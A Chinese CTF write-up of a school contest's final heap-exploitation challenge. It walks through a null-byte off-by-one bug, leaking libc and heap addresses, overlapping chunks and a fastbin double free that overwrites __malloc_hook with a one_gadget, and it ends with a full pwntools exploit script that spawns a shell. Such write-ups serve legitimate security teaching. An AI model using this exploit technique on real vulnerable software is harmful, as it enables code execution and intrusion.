查看原文
其他

一次Null-by-one的利用过程

sixty的梦想 看雪学院 2019-05-26

学校比赛的压轴题。



0x00 信息收集






0x01 流程分析



将程序拖入IDA分析




常规菜单


1、添加功能




先malloc一个fastbin一个smallbin,大小固定位0x68和0xf8。一个保存hero的name,一个保存hero的power。函数存在明显的 nullbyte off-by-one漏洞。会覆盖下面堆的大小。


2、show功能

.


将两个堆的内容输出,可用来泄露地址。


3、修改功能



这个修改功能很坑,先free原来的堆,再malloc回来写入。


依然存在 nullbyte off-by-one漏洞。


4、删除功能

.


先free再将指针清零,无漏洞点。



0x02 攻击分析



1、信息泄露


通过常规堆地址泄露,分配两个small chunk防止与top chunk合并,free后,程序会泄露出main_arena地址,可以得到libc的基地址。


还可以泄露出堆的地址。由于fastbin chunk最后一位会补0,不能通过show函数泄露地址。


所以通过分配三个small chunk,free前两个,第一个chunk的fd会指向main_arena,bk会指向free掉的第二个chunk的地址。


通过show功能得到堆的地址及libc地址




2、漏洞利用


基础知识:



chunk 结构


添加功能和修改功能存在off by one漏洞,会将small bin size0x101覆盖位0x100.


可以从两方面进行尝试


a.使用unlink

首先程序开启了PIE,不能得到保存堆地址的数组。其次,程序edit功能要先free再malloc。 如果覆盖ptr为&ptr-0x18,free会引起异常程序退出,所以unlink不可行。


b.使用堆块重叠进行fastbin利用

我们最终要实现这种情况。free a,free b,free a.

fastbin的空闲chunk通过单链表fd指针连接。

这时连接情况为a->b->a->0

之后进行四次malloc。


第一次malloc得到a

并修改a->malloc_hook(申请的堆大小为0x71,在malloc_hook-0x23处的0x7f可以用来利用)

第二次malloc得到b

第三次malloc得到a

第四次malloc得到malloc_hook-0x13地址可以通过one_gadget得到的地址覆盖malloc_hook,之后执行malloc函数就实现成功。


此时需要构造重叠堆块来实现。


此处用到off by one漏洞。


覆盖small chunk大小为0x100,表示前一个chunk处于空闲状态。free此small chunk,会产生一次堆的合并。


合并过程为,small chunk地址-pre_size处的chunk与small chunk进行合并。

由于我们知道堆的地址,可以进行伪造堆块的操作。存在限制(伪造堆块->fd->bk指向伪造堆块,伪造堆块->bk->fd指向伪造堆块 )。


 presize

 0x101块a

 fd

bk


   0x70块 b

   presize为a+b

  0x100 块c

此时free块c,再malloc一个small chunk一个fast chunk就可以得到分配到已经分配出来的块b。


这里可以利用edit功能里的free再malloc实现。


此时保存堆地址数组里就会有两个相同的块b,可以实现刚才的情况


此时还要注意free功能是同时free small chunk和fast chunk要注意控制small chunk不会产生double free




保存fast chunk地址出现了相同的地址,可以通过free功能实现fastbin attack



0x03 利用脚本



脚本有点粗糙 大神勿喷。。


from pwn import *
p=process('./hero')
e=ELF('libc-2.24.so')
context(log_level='debug')
def ad(a,b):
   p.writeline('1')
   p.readuntil('name:')
   p.write(a)
   p.readuntil('power:')
   p.write(b)
   p.readuntil('Your choice:')
def de(a):
   p.writeline('4')
   p.readuntil('What hero do you want to remove?')
   p.writeline(str(a))
   p.readuntil('Your choice:')
def  edi(a,b,c):
   p.writeline('3')
   p.readuntil('What hero do you want to edit?')
   p.writeline(str(c))
   p.readuntil('name:')
   p.write(a)
   p.readuntil('power:')
   p.write(b)
   p.readuntil('Your choice:')
ad('a','b')
ad('a','b')
ad('a','b')
de(0)
de(1)

ad('a','11111111')
p.writeline('2')
p.readuntil('show?')
p.writeline('0')
p.readuntil('Power:11111111')
heap_base=(u64(p.read(6)+chr(0)*2))-0x1e0
print hex(heap_base)
ad('a','11111111')
p.writeline('2')
p.readuntil('show?')
p.writeline('1')
p.readuntil('Power:11111111')
lib_base=(u64(p.read(6)+chr(0)*2))-0x398b58
onegad=lib_base+0xb8ac8
print hex(lib_base)
de(0)
de(1)
ad('a',p64(heap_base+0x1e0)+p64(heap_base+0x1e0))
ad('a',p64(heap_base+0x70)+p64(heap_base+0x70))
ad('a','123')
ad('a','123')
zz=raw_input()
edi('a'*0x60+p64(0x2e0),'123',2)
ad('aaaaaaaaaa','baaaaaaaa')
ad('a','123')
de(2)
de(3)
de(6)
malloc_hook=lib_base+e.symbols['__malloc_hook']-0x23
ad(p64(malloc_hook),'123')
ad('a','123')
ad('a','123')
ad('a'*0x13+p64(onegad),p64(malloc_hook))
p.writeline('1')
p.writeline('1')
p.interactive()





看雪ID:sixty的梦想    

bbs.pediy.com/user-229400



本文由看雪论坛 sixty的梦想  原创

转载请注明来自看雪社区








戳原文,立即看!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存